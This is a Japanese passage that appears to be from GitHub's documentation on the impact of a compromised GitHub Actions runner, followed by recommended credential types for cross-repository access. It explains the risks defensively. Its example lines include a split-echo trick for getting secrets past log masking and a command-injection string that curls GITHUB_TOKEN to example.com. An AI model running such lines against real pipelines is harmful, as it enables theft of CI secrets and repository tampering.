侵害されたランナーによる潜在的な影響
これらのセクションでは、攻撃者が GitHub Actions ランナーで悪意のあるコマンドを実行できる場合に実行できるいくつかの手順について説明します。
メモ
GitHubホステッド ランナーは、侵害されたサードパーティ ライブラリなど、ユーザーがジョブの実行中にダウンロードした悪意のあるコードをスキャンしません。
シークレットにアクセスする
pull_request イベントを使ってフォークされたリポジトリからトリガーされたワークフローには、シークレットの読み取り専用のアクセス許可があり、アクセス権はありません。 ただし、これらのアクセス許可は、リポジトリ内のブランチからのissue_comment、issues、push、pull_requestなどのさまざまなイベント トリガーの場合に異なります。その際、攻撃者がリポジトリのシークレットを盗んだり、ジョブのGITHUB_TOKENの書き込みアクセス許可を利用したりする可能性があります。
-
シークレットまたはトークンが環境変数に設定されている場合は、
printenvを使って環境を介して直接アクセスできます。 -
シークレットが式の中で直接使われた場合、生成されるシェル スクリプトはディスク上に格納されてアクセスできます。
-
カスタム アクションの場合のリスクは、プログラムが引数から取得したシークレットを使用する方法によって異なる場合があります。
uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }}
GitHub Actionsは、ワークフローで参照されていないメモリ (または含まれているアクション) からシークレットをスクラブしますが、GITHUB_TOKENと参照されるシークレットは、特定の攻撃者によって収集される可能性があります。
ランナーからのデータの盗み出し
攻撃者は、盗まれたシークレットや他のデータをランナーから流出させる可能性があります。 誤ってシークレットが漏えいするのを防ぐために、 GitHub Actions自動的にログに出力されたシークレットを編集しますシークレットは意図的にログに送信できるため、これは真のセキュリティ境界ではありません。 たとえば、難読化されたシークレットは echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200}; を使って流出される可能性があります。 さらに、攻撃者は任意のコマンドを実行できるため、HTTP 要求を使ってシークレットや他のリポジトリ データを外部サーバーに送信する可能性があります。
仕事の GITHUB_TOKEN を盗む
攻撃者はジョブの GITHUB_TOKEN を盗む可能性があります。
GitHub Actions ランナーは、ワークフローを含むリポジトリのみに制限されたアクセス許可を持つ生成されたGITHUB_TOKENを自動的に受け取り、ジョブの完了後にトークンの有効期限が切れます。 有効期限が切れたトークンは、攻撃者にとって役に立たなくなります。 この制限を回避するため、攻撃者は、トークンを使って攻撃者が制御するサーバーを呼び出すことによって (a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;# など)、攻撃を自動化して一瞬で実行できます。
リポジトリの内容を変更する
攻撃者のサーバーは、GitHub API を使用して、GITHUB_TOKENに割り当てられた権限が制限されていない場合、リリースを含むリポジトリのコンテンツを変更できます。
クロスリポジトリ アクセス
GitHub Actions は、一度に 1 つのリポジトリに対して意図的にスコープが設定されます。 書き込みアクセス権を持つユーザーは、ワークフロー ファイルを作成または変更し、必要に応じて GITHUB_TOKEN のアクセス許可を昇格することによって GITHUB_TOKEN にアクセスできるため、このトークンは書き込みアクセス権を持つユーザーと同じレベルのアクセスを許可します。 ユーザーはリポジトリごとに特定のアクセス許可を持っているので、あるリポジトリの GITHUB_TOKEN に別のリポジトリへのアクセスを許可すると、慎重に実装されていない場合、 GitHub アクセス許可モデルに影響します。 同様に、ワークフローに GitHub 認証トークンを追加するときは注意が必要です。これは、コラボレーターに広範なアクセス権を誤って付与することで、 GitHub アクセス許可モデルにも影響を与える可能性があるためです。
組織がEnterprise アカウントによって所有されている場合は、GitHub Actionsを共有し、内部リポジトリに格納することで再利用できます。 詳しくは、「アクションとワークフローを企業と共有する」をご覧ください。
GitHub認証トークンまたは SSH キーをワークフロー内のシークレットとして参照することで、他の特権を持つクロスリポジトリ操作を実行できます。 多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。
次のリストでは、ワークフロー内のリポジトリデータにアクセスするための推奨アプローチを優先度の高い順に説明しています。
-
**
GITHUB_TOKEN**- このトークンは、ワークフローを呼び出した単一のリポジトリに意図的にスコープが設定されており、リポジトリの書き込みアクセス ユーザーと同じレベルのアクセス権を持つことができます。 トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。 詳しくは、「ワークフローでの認証に GITHUB_TOKEN を使用する」をご覧ください。
- 可能な限り、
GITHUB_TOKENを使う必要があります。
-
リポジトリのデプロイキー
- デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを権限する唯一の認証情報タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。 詳しくは、「デプロイキーの管理」をご覧ください。
- デプロイキーは Git を使用してリポジトリにクローンおよびプッシュできるだけであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない場合があることに注意してください。
-
** GitHub App トークン**
- GitHub Apps は、選択したリポジトリにインストールでき、その中のリソースに対する詳細なアクセス許可を持つことさえできます。 組織の内部に GitHub App を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールし、それらのリポジトリにアクセスするためにワークフロー内のインストールとして認証することができます。 詳しくは、「GitHub Actions ワークフローでGitHub アプリを使用して認証済み API 要求を作成する」をご覧ください。
-
** personal access tokens**- personal access token (classic)は使用しないでください。 これらのトークンは、ユーザーがアクセスできる Organization 内のすべてのリポジトリ、および個人アカウント内のすべての個人リポジトリへのアクセスを許可します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。
- personal access tokenを使用する場合は、自分のアカウントからpersonal access tokenを使用しないでください。 後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる場合があります。 代わりに、組織に属し、ワークフローに必要な特定のリポジトリへのアクセスのみが許可されている新しいアカウントに対して、 fine-grained personal access token を使用する必要があります。 このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。
-
個人アカウントの SSH キー
- ワークフローでは、個人アカウントの SSH キーを使わないようにする必要があります。 personal access tokens (classic)と同様に、すべての個人用リポジトリと、組織メンバーシップを通じてアクセスできるすべてのリポジトリに読み取り/書き込みアクセス許可が付与されます。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する場合は、代わりに個別のデプロイキーを使用する必要があります。
次のステップ
GitHub Actionsのセキュリティに関するベスト プラクティスについては、セキュリティで保護された使用に関するリファレンス を参照してください。